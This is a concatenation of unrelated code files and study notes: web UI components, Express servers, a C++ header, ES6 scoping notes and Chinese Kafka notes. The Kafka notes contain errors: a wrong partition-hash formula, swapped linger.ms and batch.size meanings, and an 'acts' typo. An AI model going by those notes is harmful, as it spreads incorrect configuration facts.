"<ul><li>'central' - a central interval (or quantile) that covers the central 'mass'%% area of the distribution</li><li>'HPD' - a highest posterior density interval that covers 'mass'%% area with the shortest range</li><li>'custom' - an interval defined by a 'lower' and 'upper' bound. It returns the posterior mass of the parameter falling inside the custom interval.</li>%s</ul>",
ifelse(SI, gettext("<li>'support' - a support interval that covers a range of all parameter values which BF is higher than 'BF'</li>"),"")
))
}
.estimateTextLS <- function(estimate){
return( switch(
estimate,
"mean" = gettext("Mean"),
"median" = gettext("Median"),
"mode" = gettext("Mode")
))
}
|
import {Component, OnInit, OnDestroy} from '@angular/core';
import {IngredientModel} from "../shared/ingredient.model";
import {Observable} from "rxjs";
import {Store} from "@ngrx/store";
import * as shopListActions from "./store/shopping-list-actions";
import * as fromAppStore from '../store/app.reducer'
import {trigger, state, style, animate, transition} from '@angular/animations';
@Component({
selector: 'app-shopping-list',
templateUrl: './shopping-list.component.html',
styleUrls: ['./shopping-list.component.css'],
animations: [
trigger('shopList', [
state('in', style({
opacity: 0,
transform: 'translateY(0)'
})),
transition('void => *', [
style({
opacity: 1,
transform: 'translateY(50px)'
}),
animate('300ms ease-in')]
),
transition('* => void', [
animate(
'500ms ease-out',
style({
opacity: 0,
transform: 'translateX(-150px)'
}), )]
)
])
]
})
export class ShoppingListComponent implements OnInit, OnDestroy {
ingredients: Observable<{ ingredients: IngredientModel [] }>
constructor(
private store: Store<fromAppStore.AppState>,
) {
}
ngOnInit() {
this.ingredients = this.store.select('shoppingList')
}
onEdit(i: number) {
this.store.dispatch(new shopListActions.StartEdit(i))
}
ngOnDestroy() {
}
}
|
import React from 'react';
import styled from 'styled-components';
import { useSelector } from 'react-redux';
import { selectProductsPrice, selectTotalItemsAmount, selectTotalPrice } from '@/store/selectors/orderSelectors';
import Button from '@/components/Button';
interface Props {
placeOrder: Function,
isLoading: boolean,
isError: boolean
}
const Footer: React.FC<Props> = ({ placeOrder, isLoading, isError }) => {
const totalPrice = useSelector(selectTotalPrice);
const productsPrice = useSelector(selectProductsPrice);
const totalItemsAmount = useSelector(selectTotalItemsAmount);
return (
<StyledFooter>
<Items>{totalItemsAmount ? `${totalItemsAmount} items` : 'No items'}</Items>
<Price>Total: ${(totalPrice + productsPrice).toFixed(2)}</Price>
<Button
disabled={(productsPrice === 0 && totalPrice === 0) || totalItemsAmount === 0 || isError}
onClick={() => placeOrder()}
>
{isLoading ? 'Loading...' : 'Place Order'}
</Button>
</StyledFooter>
);
};
const StyledFooter = styled.div`
position: fixed;
right: 0;
bottom: 0;
left: 256px;
display: flex;
justify-content: flex-end;
align-items: center;
grid-gap: 32px;
padding: 32px 48px;
background-color: #fff;
border-top: 1px solid rgba(35, 35, 35, 0.16);
box-shadow: 0 4px 4px rgba(0, 0, 0, 0.25);
z-index: 100;
`;
const Items = styled.span`
display: flex;
justify-content: center;
align-items: center;
padding: 0 15px;
height: 38px;
border: 1px solid #23232329;
border-radius: 100px;
font-size: 12px;
font-weight: 600;
`;
const Price = styled.p`
font-size: 16px;
font-weight: 500;
`;
export default Footer;
|
const express = require('express');
const app = express();
const routes = require('./routes');
const path = require('path');
const { middlewareGlobal } = require('./src/middlewares/middleware');
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.resolve(__dirname, 'public'))); // Acessa os arquivos estáticos
app.set('views', path.resolve(__dirname, 'src', 'views')); // Define o caminho das views
app.set('view engine', 'ejs');
// Nossos próprios middlewares
app.use(middlewareGlobal); // utiliza o middleware global
app.use(routes);
app.listen(3000, () => {
console.log('Servidor rodando na porta 3000!');
console.log('Acesse http://localhost:3000');
});
|
#pragma once
#include <vector>
#include "ICharacter.h"
#include "IWeapon.h"
class WoodElf : public ICharacter {
private:
std::string name;
int health;
int intelligence;
int dexterity;
int strength;
std::vector<std::string> weaponOptions;
public:
WoodElf();
std::string GetName() const override {
return name;
}
int GetHealth() { return health; }
int GetIntelligence() const override {
return intelligence;
}
int GetDexterity() const override {
return dexterity;
}
int GetStrength() const override {
return strength;
}
std::vector<std::string> GetWeaponOptions() const override {
return weaponOptions;
}
};
// -------------------------------------------
class Dwarf : public ICharacter {
private:
std::string name;
int health;
int intelligence;
int dexterity;
int strength;
std::vector<std::string> weaponOptions;
public:
Dwarf();
std::string GetName() const override {
return name;
}
int GetHealth() { return health; }
int GetIntelligence() const override {
return intelligence;
}
int GetDexterity() const override {
return dexterity;
}
int GetStrength() const override {
return strength;
}
std::vector<std::string> GetWeaponOptions() const override {
return weaponOptions;
}
};
// -------------------------------------------
class Enchantress : public ICharacter {
private:
std::string name;
int health;
int intelligence;
int dexterity;
int strength;
std::vector<std::string> weaponOptions;
public:
Enchantress();
std::string GetName() const override {
return name;
}
int GetHealth() { return health; }
int GetIntelligence() const override {
return intelligence;
}
int GetDexterity() const override {
return dexterity;
}
int GetStrength() const override {
return strength;
}
std::vector<std::string> GetWeaponOptions() const override {
return weaponOptions;
}
};
|
import { formData } from '../../types/car.types';
import useCarForm from '../../hooks/useCarForm';
import useCarModal from '../../hooks/useCarModal';
import Modal from '../modal/Modal';
interface IProps {
initialState: formData;
}
function CarForm({ initialState }: IProps) {
const { showModal, openModal, closeModal } = useCarModal();
const { carFormData, onChangeInput, onChangeSelect, handleImageChange, onSubmitForm } =
useCarForm(initialState);
return (
<form action="" method="post" onSubmit={onSubmitForm} data-cy="add-car-form-container">
<div className="grid gap-4 sm:grid-cols-2 sm:gap-6">
<div className="sm:col-span-2" data-cy="add-car-brand">
<label
htmlFor="brand"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Brand Name
</label>
<input
type="text"
name="brand"
id="brand"
placeholder="Type brand name"
value={carFormData.brand}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div className="w-full" data-cy="add-car-model">
<label
htmlFor="model"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Model
</label>
<input
type="text"
name="model"
id="model"
placeholder="Type model"
value={carFormData.model}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div className="w-full" data-cy="add-car-color">
<label
htmlFor="color"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Color
</label>
<input
type="text"
name="color"
id="color"
placeholder="Type color"
value={carFormData.color}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div data-cy="add-car-kms">
<label
htmlFor="kms"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Kilometres
</label>
<input
type="text"
name="kms"
id="kms"
placeholder="12"
value={carFormData.kms}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div data-cy="add-car-passengers">
<label
htmlFor="passengers"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Passengers
</label>
<input
type="text"
name="passengers"
id="passengers"
placeholder="4"
value={carFormData.passengers}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div className="w-full" data-cy="add-car-price">
<label
htmlFor="price"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Price
</label>
<input
type="text"
name="price"
id="price"
placeholder="$2999"
value={carFormData.price}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div className="w-full" data-cy="add-car-year">
<label
htmlFor="year"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Year
</label>
<input
type="text"
name="year"
id="year"
placeholder="1999"
value={carFormData.year}
onChange={onChangeInput}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-600 focus:border-primary-600 block w-full p-2.5"
/>
</div>
<div data-cy="add-car-transmission">
<label
htmlFor="transmission"
className="block mb-2 text-sm font-medium text-gray-900 dark:text-white"
>
Transmission
</label>
<select
id="transmission"
name="transmission"
value={carFormData.transmission}
onChange={onChangeSelect}
className="bg-gray-50 text-gray-900 text-sm rounded-lg focus:ring-primary-500 focus:border-primary-500 block w-full p-2.5"
>
<option value="">Select Transmission</option>
<option value="manual">Manual</option>
<option value="automatic">Automatic</option>
</select>
</div>
<div data-cy="add-car-air-conditioner">
<h3 className="block mb-2 text-sm font-medium text-gray-900">Air Conditioner</h3>
<div className="flex gap-2 pl-2" data-cy="add-air-conditioner-input-container">
<div>
<input
type="radio"
name="airConditioner"
value="true"
checked={carFormData.airConditioner === 'true'}
onChange={onChangeInput}
data-cy="add-air-conditioner-input-true"
/>
<label htmlFor="true" className="pl-0.5">
Yes
</label>
</div>
<div>
<input
type="radio"
name="airConditioner"
value="false"
checked={carFormData.airConditioner === 'false'}
onChange={onChangeInput}
data-cy="add-air-conditioner-input-false"
/>
<label htmlFor="false" className="pl-0.5">
No
</label>
</div>
</div>
</div>
<div className="sm:col-span-2" data-cy="add-car-update-logo">
<label className="block mb-2 text-sm font-medium text-gray-800" htmlFor="crestUrl">
Upload logo
</label>
<input
className="block w-full text-sm text-gray-800 border border-gray-100 rounded-lg cursor-pointer focus:outline-none file:bg-dark-green file:py-1 file:cursor-pointer file:text-white hover:file:bg-light-green"
id="crestUrl"
type="file"
name="crestUrl"
accept=".png, .jpg, .jpeg, .svg"
onChange={handleImageChange}
/>
</div>
</div>
{initialState.id ? (
<div
className="flex items-center justify-between space-x-4 px-6 pt-8"
data-cy="car-card-btn-container"
>
<button
type="submit"
className="text-white bg-dark-green select-none font-medium rounded-lg text-sm px-5 py-2.5 text-center shadow-md shadow-dark-green/20 transition-all hover:shadow-lg hover:shadow-dark-green/40 focus:opacity-[0.85] focus:shadow-none active:opacity-[0.85] active:shadow-none"
data-cy="car-form-btn-update"
>
Update car
</button>
<button
type="button"
onClick={openModal}
className="text-red-600 bg-gray-100 inline-flex items-center hover:text-white border border-red-600 hover:bg-red-600 font-medium rounded-lg text-sm px-5 py-2.5 text-center shadow-md shadow-red-600/20 transition-all hover:shadow-lg hover:shadow-red-600/40 focus:opacity-[0.85] focus:shadow-none active:opacity-[0.85] active:shadow-none disabled:pointer-events-none disabled:opacity-50 disabled:shadow-none"
data-cy="car-form-btn-delete"
>
<svg
className="w-5 h-5 mr-1 -ml-1"
fill="currentColor"
viewBox="0 0 20 20"
xmlns="http://www.w3.org/2000/svg"
>
<path
fill-rule="evenodd"
d="M9 2a1 1 0 00-.894.553L7.382 4H4a1 1 0 000 2v10a2 2 0 002 2h8a2 2 0 002-2V6a1 1 0 100-2h-3.382l-.724-1.447A1 1 0 0011 2H9zM7 8a1 1 0 012 0v6a1 1 0 11-2 0V8zm5-1a1 1 0 00-1 1v6a1 1 0 102 0V8a1 1 0 00-1-1z"
clip-rule="evenodd"
></path>
</svg>
Delete
</button>
</div>
) : (
<button
type="submit"
className="inline-flex items-center px-5 py-2.5 mt-4 sm:mt-6 text-sm font-medium text-center text-white bg-dark-green rounded-lg hover:bg-light-green"
data-cy="add-car-btn-submit"
>
Add Car
</button>
)}
{showModal && (
<Modal
logo={initialState.img as string}
id={initialState?.id as number}
name={`${initialState.brand}-${initialState.model}`}
onClose={closeModal}
/>
)}
</form>
);
}
export default CarForm;
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
// ECMAScript5
//Es6 是JavaScript的一种新的规范,兼容各个浏览器最新的版本
// console.log(str);//undefined
// var str="zhufengpeixun";
// var str="peixun";
// console.log(str);
//在es5中可以对同一个变量进行重复的声明
//let 声明变量
// 1.不存在变量提升
// console.log(str1);//报错 不能进行变量提升
// let str1="zhufeng";
// let str1="peixun";
// console.log(str1);//报错 let声明的变量,在同一作用域中不能进行重复的声明
//
//
// //const 声明的变量是个常量
// console.log(num);//报错 ,不能进行变量提升
// const num=1;
// const num=10;
// console.log(num);//报错 const声明的变量不能进行重复的声明
//
// console.log(num);
// var num=1;
// let num=2;//报错,这样也是被认为重复的声明
//块级作用域
//块级作用域:被大括号包起来的代码块
//let 声明的变量,只在当前的块级作用域内有效
// {
// var num1="hello" ;
// let num2="world";
// console.log(num1,num2);//"hello","world"
// }
//
// console.log(num1);//"hello"
// console.log(num2);// 报错,num2 is not defined
// let num2="123";
// console.log(num2);//123
//
// let num2="123";
// if(true){
// console.log(num2);//"123"
// }
//
// let num2="123";
// if(true){
// console.log(num2);//num2 is not defined
// let num2=15;
// }
//块级作用域可以多层的嵌套
// let num=16;
// {{
// console.log(num);//16
// }}
//在 for循环中,用let声明的变量,不会泄露成全局的变量
// for(var i=0;i<18;i++){
//
// }
// console.log(i);//18
// for(let i=0;i<18;i++){//小括号内是父作用域
// //循环体是子作用域
// console.log(i);
// }
// console.log(i);//i is not defined
// //用let声明的变量,在for循环语句中,首先形成父作用域,循环体是子作用域
//
// var ary=[];
// for(let i=0;i<18;i++){
//循环体,循环一次,形成一个子作用域
// let 每循环一次,会对i重新的声明
// ary[i]=function () {
// console.log(i);//3
// }
// }
//
// ary[3]();
// var ary=[];
// for(var i=0;i<18;i++){
// ary[i]=function () {
// console.log(i);//18
// }
// }
// ary[3]();
//
// var num;
// let str;
// //const str1; //在声明的时候,必须声明+定义
function fn() {
console.log("zhufeng");
}
(function () {
if(false){//如果浏览器兼容es6,如果在条件语句中,如果条件语句不成立,function只声明,不定义,如果条件成立,申明加定义
function fn() {
console.log("peixun");
}
}
//console.log(fn);//undefined
fn();//es5中报错 fn is not defined //es6中报错 fn is not defined
})();
//在严格模式下,只能在顶层作用域和函数内声明,其他情况if代码块,for循环代码块都会报错
</script>
</body>
</html>
|
### 1. Kafka Topics
- Topics:一种特殊的数据流
- 就像数据库中的表,但没有所有的约束
- 可以有任意多的 Topics
- 一个 Topic 由它的 name 定义
- 任意格式的消息格式
- Topic 中的消息序列称为 data stream
- 你无法像数据库一样查询 Topics
### 2. Partitions and offsets
- Topics 被划分为 Partitions
- 每个分区中的消息会被排序
- 每个分区中的消息会有一个递增的 id,即 offset
- Kafka topics是不可变的,一旦数据写入到分区就不可修改
- 数据只保留有限时间(默认是一周,可配置)
- 即使前面的数据被删除,offset 也不会被复用
- 消息的顺序只在一个分区内得到保证
- 当数据(Record消息记录,包含key和value)被发送到kafka主题时,但key为空时,会以轮询的方式写入不同的分区,key不为空时,相同key的消息会被写入到同一个分区
### 3. Leader, Follower, and In-Sync Replica (ISR) List
- ISR 集合包含了当前可用的、与 Leader 分区保持同步的副本(Replica)
- ISR 集合的信息保存在每个 Broker 的日志目录中的元数据文件中,文件名为 `isr-[partition-id]`。该元数据文件包含了每个分区的 ISR 集合及其相关的信息,比如 Leader 副本、副本列表、最后一次同步的位置等。
- 如果某个副本不能正常同步数据或者落后的比较多,那么kafka会从ISR中将这个节点移除,直到它追赶上来之后再重新加入
### 4. Producers
- 生产者向主题分区写入数据
- 生产者事先知道写入到哪个分区,哪个kafka代理拥有它
### 5. send()异步发送
<img src="https://img2023.cnblogs.com/blog/2122768/202305/2122768-20230527111945510-212495721.png" style="zoom:60%">
缓冲区会为主题的每个分区创建一个大小用来存放消息,生产者首先将消息放入到对应分区的缓冲区中,当他放入消息后立刻返回,不等消息是否发送给服务端,也不管它是否成功发送消息,后台IO线程负责将消息发送给broker。
### 6. 同步发送
```java
Future<RecordMetadata> result = producer.send(new ProducerRecord<String, String>("topic_name", "" + (i%5), Integer.toString(i)));
try{
RecordMetadata recordMetadata = result.get(); //阻塞
} catch (InterruptedException e) {
e.printStackTrace();
} catch (ExecutionException e) {
e.printStackTrace();
}
```
### 7. 批量发送
linger.ms 每一批消息最大大小
batch.size 延迟时间
满足任意一项即可
### 8. acks
- acks=0 生产者不会等待服务器端的任何请求,当消息被放到缓冲区的时候,我们就认为他成功发送了,可能会造成数据丢失
- acks=1 消息已经被服务器端的leader存入到本地了,leader未同步到follower就宕机会导致数据丢失
- acks=all
至多一次 acks=0或1
至少一次 acks=-1或all, retries>0
### 9. Producers: Message keys
- 生产者可以发送带有key (string, number, binary, etc...) 的消息
- 如果key=null,数据将循环发送到各分区
- 如果key!=null,那么数据将一直发送到相同分区(哪个分区由生产者决定)
- 如果你需要根据指定字段对消息进行排序,那么就需要发送key
### 10. Kafka 消息剖析
- key、value(可以为空)
- 压缩格式:none,gzip,snappy,lz4,zstd
- Headers:可选的键值对列表
- 消息要发送到的分区及其偏移量
- 时间戳(由系统或者用户设置)
### 11. Kafka 消息 key 哈希算法
```java
targetPartition = Math.abs(Utils.murmur2(keyBytes))%(numPartitions-1)
```
### 12. Consumers
- 消费者根据 name 从某个 topic 读取数据,是 pull model,不是kafka server把数据推送给消费者
- 消费者自动知道从哪个broker读取数据
- 如果broker失效了,消费者知道如何恢复
- 在每个分区中,数据根据 offset 从低到高被读取
### 13.生产者:精确一次
```ini
enable.idempotence=true
##retries=Integer.MAX_VALUE
acts=all
```
### 14. 消费者:精确一次
通过offset来防止重复消费不是一个好的办法
通常在消息中加入**唯一ID** (例如流水ID,订单D),在处理业务时,通过判断 ID来防止重复处理
### 15. 事务
在kafka中,消息会尽可能地发送到服务端,如果提交成功了,消息后面会有成功提交的标志,如果未成功提交,那么它的状态是未提交的。
Isolation_level 隔离级别,默认为 read_uncommitted 脏读,如果只读取成功提交的数据,可以设置为 read_committed
### 16. Consumer Groups
- 在一个应用中的所有消费者作为消费者组读取数据
- 组内的每个消费者从独立的分区读取
- 如果消费者多于分区,那么一些消费者会处于非活动状态(作为备用的消费者)
- 分区是最小的并行单位
- 一个消费者可以消费多个分区
- 一个分区可以被多个消费者组里的消费者消费
- 但是,一个分区不能同时被同一个消费者组里的多个消费者消费
#### 16.1 发布 - 订阅模式
每条消息需要被每个消费者都进行消费:每个消费者都属于不同的消费者组
#### 16.2 点对点(一对一)
一条消息只要有被消费就可以:所有消费者都属于同一个消费者组
### 17. Consumer Offsets
- kafka 保存消费者组的 offsets
- 提交的 offsets 在 kafka topic 中被称为 `__consumer_offsets`
- 当组内的一个消费者处理完从 kafka 收到的数据后,它会阶段性地提交 offsets (kafka 代理会写入到`__consumer_offsets`,而不是消费者组自身)
- 如果一个消费者崩溃,重启后能根据提交的消费者偏移量重新开始读取数据
### 18. 消费者交付语义
- Java 消费者默认会自动提交偏移量(至少一次)
- 手动提交有3种语义
- ***至少一次(推荐)***
- 消息被处理后提交偏移量
- 如果处理失败,消息会再被读取
- 这意味着,我们可以对消息进行重复处理,因此,我们需要确保我们的处理是幂等的(指再次处理不会影响我们的系统)
- ***最多一次***
- 消息收到就提交偏移量
- 如果处理失败,消息就会丢失(当然也不会再次被读取)
- ***正好一次***
- 对于 kafka => kafka workflows:使用 Transactional API
- 对于 kafka => 外部系统 workflows:使用幂等消费者
### 19. Kafka Brokers
- 一个kafka集群由多个 brokers(servers)组成
- 每个代理由ID(整数)标识
- 每个代理只包含特定的主题分区
- 连接到任何kafka代理(也称为引导代理后),客户端、生产者或使用者将连接到整个kafka集群
- 最好是从3个代理开始,但在有些大型集群中会有超过100个代理
- 代理的编号可以选择从任意数开始
### 20. Kafka 代理机制
- 每个 kafka 代理也被称为“引导服务器”
- 每个代理知道所有的代理、主题和分区(元数据)
### 21. 主题复制因子
- 主题应有一个复制因子>1(通常在2与3之间)
- 因此,万一有一个代理挂了,其他代理仍可以提供服务
### 22. 分区领导者的概念
- 在任何时刻,一个分区只会有一个代理作为领导者
- 生产者只会把数据发送给作为分区领导者的代理
- 其他的代理会从分区领导者复制数据
- 因此,每个分区拥有一个领导者和多个ISR(in-sync replica 同步副本)
### 23. 生产者、消费者和领导者之间的默认行为
- kafka 生产者只会向分区的领导者代理写入数据
- kafka 消费者默认会从分区的领导者读取数据
### 24. afka 消费者副本获取(Kafka v2.4+)
- 自从 Kafka 2.4,可以配置让消费者从最近的副本进行读取,这可以降低延迟,如果是在云上,则可以降低网络成本
### 25. 生产者的确认机制 acks
生产者可以选择是否接受写入数据的确认消息:
- acks=0:生产者不会等待确认,如果代理崩溃,可能会导致数据丢失
- acks=1:生产者会等待领导者的确认,可能会导致有限的数据丢失
- acks=all:要求领导者和所有副本的确认,不会有数据丢失
### 26. Zookeeper
- Zookeeper管理代理,保留一份代理的名单
- Zookeeper帮助完成分区的领导者选举
- 当kafka有更改时,Zookeeper会发送通知,比如新的主题、代理崩溃、代理启动、删除主题等等
- **Kafka 2.x 版本运行必需要有 Zookeeper**
- **Kafka 3.x 可以使用 Raft (KIP-500) 作为代替**
- **Kafka 4.x 没有 Zookeeper**
- Zookeeper 以单数个数运行,1、3、5、7...通常不会超过7个
- Zookeeper 拥有一个领导者作为写入,其他的作为追随者进行读取
- v0.10 版本之后,Zookeeper不再存储消费者的偏移量
### 27. 你应该使用 Zookeeper 吗?
- 和 Kafka 代理?
- 是的,除非4.0版本发布并可用于生产环境
- 和 Kafka 客户端?
- 随着时间的推移,Kafka客户端和CLI已经被迁移,以利用代理作为唯一的连接端点,而不是Zookeeper
- 自从 0.10 版本之后,消费者将偏移量储存在 Kafka 中,不再连接到 Zookeeper
- 从 2.2 版本之后,CLI命令 `kafka-topics.sh` 用 Kafka 代理而不是 Zookeeper来进行主题管理,Zookeeper CLI命令已被废弃
- 所有使用 Zookeeper 的API和命令会被迁移,这样新版本的集群可以不再绑定 Zookeeper,这些操作对于客户端是不可见的
- Zookeeper 的安全性比 Kafka 低,这意味着如果你应该用 Zookeeper 只接受来自代理的连接,拒绝客户端的连接
### 28. 关于 Kafka KRaft
- 在2020年,Apache Kafka项目做开始着手移除 Zookeeper 依赖(KIP-500)
- 当Kafka集群拥有超过10万个分区时,Zookeeper 有扩展问题
- 删除 Zookeeper 之后,Apache Kafka 可以
- 扩展到百万级分区,变得更容易维护和设置
- 提升稳定性,更易监控、支持和管理
- 为整个系统提供单一的安全模型
- 启动 Kafka 也会容易很多
- 更快的关闭和恢复时间
- Kafka 3.x 实现了 Raft 协议,以替代 Zookeeper(Not production ready)
### 29. Kafka KRaft Architecture
<center><img src="kraft.png" style="zoom:50%"></center>
[Kafka Raft Readme](https://github.com/apache/kafka/tree/trunk/raft)
[Kafka performance improvement](https://www.confluent.io/blog/kafka-without-zookeeper-a-sneak-peek/)
|
import PropTypes from 'prop-types'
import React from 'react'
import Icon from 'components/layout/Icon'
import BookingStatusCellHistory from './BookingStatusCellHistory'
import { getBookingStatusDisplayInformations } from './utils/bookingStatusConverter'
const BookingStatusCell = ({ bookingRecapInfo }) => {
let bookingDisplayInfo = getBookingStatusDisplayInformations(
bookingRecapInfo.original.booking_status
)
const offerName = bookingRecapInfo.original.stock.offer_name
const statusClassName = bookingDisplayInfo.statusClassName
const statusName = bookingDisplayInfo.status
const amount = computeBookingAmount(bookingRecapInfo.original.booking_amount)
const icon = bookingDisplayInfo.svgIconFilename
function computeBookingAmount(amount) {
const FREE_AMOUNT = 'Gratuit'
const AMOUNT_SUFFIX = '\u00a0€'
return amount ? `${amount}${AMOUNT_SUFFIX}` : FREE_AMOUNT
}
return (
<div
className={`booking-status-label booking-status-wrapper ${statusClassName}`}
>
<Icon svg={icon} />
<span>{statusName}</span>
<div className="bs-tooltip">
<div className="bs-offer-title">{offerName}</div>
<div className="bs-offer-amount">
{`Prix : ${amount.replace('.', ',')}`}
</div>
<div className="bs-history-title">Historique</div>
<BookingStatusCellHistory
bookingStatusHistory={
bookingRecapInfo.original.booking_status_history
}
/>
</div>
</div>
)
}
BookingStatusCell.propTypes = {
bookingRecapInfo: PropTypes.shape().isRequired,
}
export default BookingStatusCell
|
var VendaAuto = VendaAuto || {};
VendaAuto.ComboMarca = (function(){
function ComboMarca(){
this.combo = $('#marca');
this.emitter = $({});
this.on = this.emitter.on.bind(this.emitter);
}
ComboMarca.prototype.iniciar = function(){
this.combo.on('change', onMarcaAlterada.bind(this));
}
function onMarcaAlterada(){
console.log('Marca alterada, selecionado: ', this.combo.val()); //Pais alterado, selecionado: 1
this.emitter.trigger('alterado', this.combo.val());
}
return ComboMarca;
}());
VendaAuto.ComboModelo = (function(){
function ComboModelo(comboMarca){
this.comboMarca = comboMarca;
this.combo = $('#modelo');
this.combo.attr('disabled', 'disabled');
this.imgLoading = $('.js-img-loading');
}
ComboModelo.prototype.iniciar = function(){
this.comboMarca.on('alterado', onMarcaAlterada.bind(this));
this.combo.on('change', onModeloAlterado.bind(this));
}
function onModeloAlterado(evento, codigoModelo){
console.log('Modelo alterado, selecionado: ', this.combo.val()); //Cidade alterada, selecionado: 1
}
function onMarcaAlterada(evento, codigoMarca){
if(codigoMarca){
console.log('codigoMarca recebido como parametro em ComboModelo.onMarcaAlterada(): ', codigoMarca);
this.combo.removeAttr('disabled');
var resposta = $.ajax({
url: this.combo.data('url'),
method: 'GET',
contentType: 'application/json',
data: {'marca':codigoMarca},
beforeSend: iniciarRequisicao.bind(this),
complete: finalizarRequisicao.bind(this)
});
console.log('resposta: ', resposta);
resposta.done(onBuscarModelosFinalizado.bind(this));
}else{
this.combo.attr('disabled', 'disabled');
}
console.log('url: ', this.combo.data('url'));
}
function onBuscarModelosFinalizado(modelos){
var options = [];
options.push('<option value="">Todos os modelos</option>');
modelos.forEach(function(modelo){
options.push('<option value="'+modelo.codigo+'">'+modelo.descricao+'</option>');
});
this.combo.html(options.join(''));
this.combo.removeAttr('disabled');
}
function iniciarRequisicao(){
this.imgLoading.show();
}
function finalizarRequisicao(){
this.imgLoading.hide();
}
return ComboModelo;
}());
$(function(){
var comboMarca = new VendaAuto.ComboMarca();
comboMarca.iniciar();
var comboModelo = new VendaAuto.ComboModelo(comboMarca);
comboModelo.iniciar();
});
|
import { EXP, PrismaClient } from "@prisma/client"
import express from "express"
import airdropRoutes from "./modules/airdrop"
import announcementRoutes from "./modules/announcement"
import blogRoutes from "./modules/blog"
import chatRoutes from "./modules/chat"
import datingRoutes from "./modules/dating"
import groupRoutes from "./modules/group"
import backendserviceRoutes from "./modules/backendService"
import { notificationRoutes, setIO } from "./modules/notification"
import qaRoutes from "./modules/qa"
import restaurantRoutes from "./modules/restaurant"
import scheduleRoutes from "./modules/schedule"
import shopRoutes from "./modules/shop"
import shopreviewRoutes from "./modules/shopreview"
import shortlinkRoutes from "./modules/shortlink"
import shortnotesRoutes from "./modules/shortnotes"
import timelineRoutes from "./modules/timeline"
import todolistRoutes from "./modules/todolist"
import transactionRoutes from "./modules/transaction"
import userRoutes from "./modules/user"
import passport from "passport"
import microsoft from "./modules/backendService/passport/microsoft"
import { loginRoutes } from "./modules/backendService/login/loginRoutes"
import session from "express-session"
import { createClient } from "redis"
import connectRedis from "connect-redis"
import cors from "cors"
import http from "http"
import { Server as IOServer, Socket } from "socket.io"
import { verify } from "jsonwebtoken"
import { DefaultEventsMap } from "socket.io/dist/typed-events"
import chatSocket from "./modules/chat/chatStocket"
import notiSocket from "./modules/notification/notiSocket"
import airdropSocket from "./modules/airdrop/airdropSocket"
import { set, deleteKey } from "./modules/backendService/socketstore/store"
import mongoose from "mongoose"
import { filterWord } from "./modules/backendService/middleware/filterWord"
import { banned } from "./modules/backendService/middleware/banned"
const PORT = 8000
const app = express()
app.use(express.json())
const appOrigin = [process.env.CORS_ORIGIN || "", ...(process.env.NODE_ENV === "STAGING" ? [process.env.CORS_ORIGIN_DEV || ""] : [])]
const appCors = cors({
origin: appOrigin,
credentials: true,
allowedHeaders: ["Content-Type"],
})
if (process.env.NODE_ENV !== "production") {
require("dotenv").config()
}
mongoose.connect(process.env.MONGO_URL || "", { authSource: "admin" })
const prisma = new PrismaClient()
const redisClient = createClient({
legacyMode: true,
url: `redis://${process.env.REDIS_URL}:${process.env.REDIS_URL_PORT}`,
password: process.env.REDIS_PASSWORD,
})
declare global {
namespace Express {
export interface User {
fName: string
lName: string
email: string
userId: string
levels: EXP | null
}
export interface Response {
prisma: PrismaClient
redis: typeof redisClient
io: IOServer
}
}
}
const RedisStore = connectRedis(session)
redisClient.connect().catch((err) => console.log(err))
// config passport for microsoft strategy
passport.use(microsoft(prisma))
app.use(appCors)
app.use(
session({
secret: process.env.COOKIE_SECRET || "",
resave: false,
saveUninitialized: false,
name: process.env.COOKIE_NAME,
cookie: { domain: process.env.COOKIE_LOCATION, maxAge: 1000 * 60 * 60 * 24 * 30 },
store: new RedisStore({ client: redisClient }) as session.Store,
})
)
// config app to use passport/
app.use(passport.initialize())
app.use(passport.session())
passport.serializeUser((user, done) => {
done(null, user)
})
passport.deserializeUser((user: any, done) => {
done(null, user)
})
app.use((_, res, next) => {
res.prisma = prisma
res.redis = redisClient
next()
})
app.use(filterWord)
app.use(banned)
app.get("/", (_, res) => {
return res.send("Welcome to integrated project 2022!! Eiei👓 " + process.env.MODE)
})
app.use("/auth", loginRoutes)
app.use("/airdrop", airdropRoutes)
app.use("/announcement", announcementRoutes)
app.use("/blog", blogRoutes)
app.use("/chat", chatRoutes)
app.use("/dating", datingRoutes)
app.use("/group", groupRoutes)
app.use("/backendservice", backendserviceRoutes)
app.use("/notification", notificationRoutes)
app.use("/qa", qaRoutes)
app.use("/restaurant", restaurantRoutes)
app.use("/schedule", scheduleRoutes)
app.use("/shop", shopRoutes)
app.use("/shopreview", shopreviewRoutes)
app.use("/shortlink", shortlinkRoutes)
app.use("/shortnotes", shortnotesRoutes)
app.use("/timeline", timelineRoutes)
app.use("/todolist", todolistRoutes)
app.use("/transaction", transactionRoutes)
app.use("/user", userRoutes)
const server = http.createServer(app)
const io = new IOServer(server, {
cors: {
credentials: true,
origin: appOrigin,
},
})
io.use((socket, next) => {
try {
const token = socket.handshake.headers.authorization
console.log(token)
if (!token) {
